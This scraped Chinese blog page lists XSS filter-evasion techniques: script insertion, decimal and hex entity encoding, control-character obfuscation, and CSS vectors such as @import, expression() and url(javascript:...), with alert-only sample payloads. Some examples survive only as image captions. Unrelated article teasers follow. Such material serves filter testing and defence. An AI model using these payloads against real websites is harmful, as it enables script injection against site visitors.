天天看点

xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法

1.脚本插入

(1)插入javascript和vbscript正常字符。

例1:

xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法

例2:

’/在表格中插入脚本

例3:

xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法

(2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符

例1:

xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法

‘/将j字符转为十进制字符j 。

例2:

xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法

‘/将j字符转为十六进制字符j 。

(3)插入混淆字符。在系统控制字符中,除了头部的(null)和尾部的 (del)外,其他31个字符均可作为混淆字符,比如 、 等字符都可插入到

javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。

例1:

xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法

‘/插入到代码头部,其中 可写成 ,效果一样

例2:

xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法

‘/插入到代码中任意位置,其中 可写成

例3:

xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法

‘/ 是回车符的16进制形式

例4:

xss往html插入js代码,XSS代码触发条件,插入XSS代码的常用方法

‘/ 是换行符的16进制形式

2.样式表

(1)利用CSS代码@import、expression触发XSS漏洞。

例1:@import “http://web/xss.css”; ‘导入外部带有XSS代码的CSS样式表。

例2:@import’javascript:alert(“xss”)’; ‘调用javascript脚本触发漏洞

例3:body{xss:expression(alert(‘xss’))} ‘在内部样式表中加入expression事件

例4:’在内嵌样式表中加入expression事件

(2)在CSS代码中加入javascript和vbscript脚本

例1:body{background-image:url(javascript:alert(“xss”))}

例2:body{background-image:url(vbscript:msgbox(“xss”))}

(3)转换字符类型,以十六进制字符替换其中或全部的字符:

例1:@\0069mport:url(web/1.css);’//将其中的i转为\0069

例2:body{xss:\0065xpression(alert(‘xss’))}’//将e转换为\0065

例3:body{background-image:\0075\0072\006c…}’将url全转为16进制

(4)插入混淆字符,在css中,是注释字符,除了外,字符”\”和结束符”\0″也是被忽略的,可以用来混淆字符。

例1:@\0im\port’\0ja\vasc\ript:alert(“xss”)’;

例2:@\i\0m\00p\000o\0000\00000r\000000t”url”;

分页查询关键代码 多条件查询关键代码 删除选中商品关键代码 修改要先回显再修改 修改要先回显再修改 同一业务集中使用同一servlet的方法

分页查询关键代码: 通过servlet转发回来的各种信息进行分页的设计(转发回的信息有 分页查询的List集合 查询的页码 查询的条数 查询的数据库总条数 查询的总页码) 从开始时循环10次出现十个数 ...

用代码触发testng实现并发测试

有时候希望测试用例能用代码触发,发现testng支持这种操作,于是记录一下: 首先添加testng依赖: org.testng&lt ...

Jsoup代码解读之六-防御XSS攻击

Jsoup代码解读之八-防御XSS攻击 防御XSS攻击的一般原理 cleaner是Jsoup的重要功能之一,我们常用它来进行富文本输入中的XSS防御. 我们知道,XSS攻击的一般方式是,通过在页面输入 ...

突破XSS字符限制执行任意JS代码

突破XSS字符限制执行任意JS代码 一.综述 有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不 ...

Html页面插入flash代码

转自:http://www.educity.cn/jianzhan/402117.html 转自:http://www.cnblogs.com/yxc_fj/articles/1390621.html ...

在IDE中用Bing Code Search直接查找代码片段并且插入

博客搬到了fresky.github.io - Dawei XU,请各位看官挪步.最新的一篇是:在IDE中用Bing Code Search直接查找代码片段并且插入.

jquery实现多条件筛选特效代码分享

本文实例讲述了jquery实现多条件筛选特效.分享给大家供大家参考.具体如下:jquery实现的多条件搜索表单带日期选择表格表单效果源码,是一段实现了多个条件筛选搜索的特效代码,多条件拥有时间.地点. ...

完成代码将x插入到该顺序有序线性表中,要求该线性表依然有序

#include #include int main(void) { int i, n; double s = 1.3; double ...

用SUMIF对超15位的代码进行条件求和,出错了,原因是....

用SUMIF对超15位的代码进行条件求和,出错了,原因是.... 2017-10-29 23:01 一.问题 有读者朋友问: 用SUMIF进行条件求和时,如果统计的条件是超15位的代码,就会出错,比如 ...

随机推荐

[NHibernate]Parent/Child

系列文章 [Nhibernate]体系结构 [NHibernate]ISessionFactory配置 [NHibernate]持久化类(Persistent Classes) [NHibernate ...

C# 词法分析器(五)转换 DFA

系列导航 (一)词法分析介绍 (二)输入缓冲和代码定位 (三)正则表达式 (四)构造 NFA (五)转换 DFA (六)构造词法分析器 (七)总结 在上一篇文章中,已经得到了与正则表达式等价的 NFA ...

Emit学习(1) - HelloWorld

之前看过Dapper(使用到了Emit), CYQ.Data(另一种思路,没有使用Emit)类的框架之后, 也想自己做一个小框架玩一下, 不过此时能力太过欠缺, 做不了Cyq.Data或者PDF.Ne ...

Oracle过程及函数的参数模式,In、out、in out模式

Oracle过程及函数的参数模式 In.out.in out模式 在Oracle中过程与函数都可以有参数,参数的类型可以指定为in.out.in out三种模式. 三种参数的具体说明,如下图所示: ( ...

(转) CCEditBox 编辑框

CCEditBox 编辑框 原文: http://blog.csdn.net/cloud95/article/details/8773470 分类: cocos2d-x 2013-04-08 19:1 ...

使用Jvisualvm监控JVM的内存、CPU、线程

最近做性能测试发现很多性能问题,面对一些开发小白的数据结构思想,真想喊一声:放开那个代码,让我来!冲动. 面对WEB站点开发,性能测试是经常要做的,下面一种介绍如何结合性能测试工具,更好的监控WEB服 ...

【笔试】T实习生2014 总结

2014.4.12 是T的广州站,就在本校,很方便.考前一两天,临时抱佛脚,看着HTMLdog上的网页知识.就算考前,还在懊悔自己为什么不好好利用清明假期,多看点,看多点?哎,哎.. 谁知道一拿到试卷 ...

C#中Serializable序列化

序列化就是是将对象转换为容易传输的格式的过程,一般情况下转化打流文件,放入内存或者IO文件 中.例如,可以序列化一个对象,然后使用 HTTP 通过 Internet 在客户端和服务器之间传输该对象,或 ...

周总结<1>

由于都不清楚周总结的格式,所以就没有写了.不过,上次听了老师的课,觉得应该要好好写写了,至少今后可以明白自己有做过什么事情,至少不会觉得自己在各个方面没有收获.不过,可能没有按照格式来写.希望老师体谅 ...

persistencejs:异步javascript数据库映射库

persistence.js 是一个异步的 JavaScript 对象数据库映射(ORM)框架.拥有数据库无关的独立抽象层,可轻松支持新的数据库.该软件最开始是为浏览器设计的,利用 HTML5 的 W ...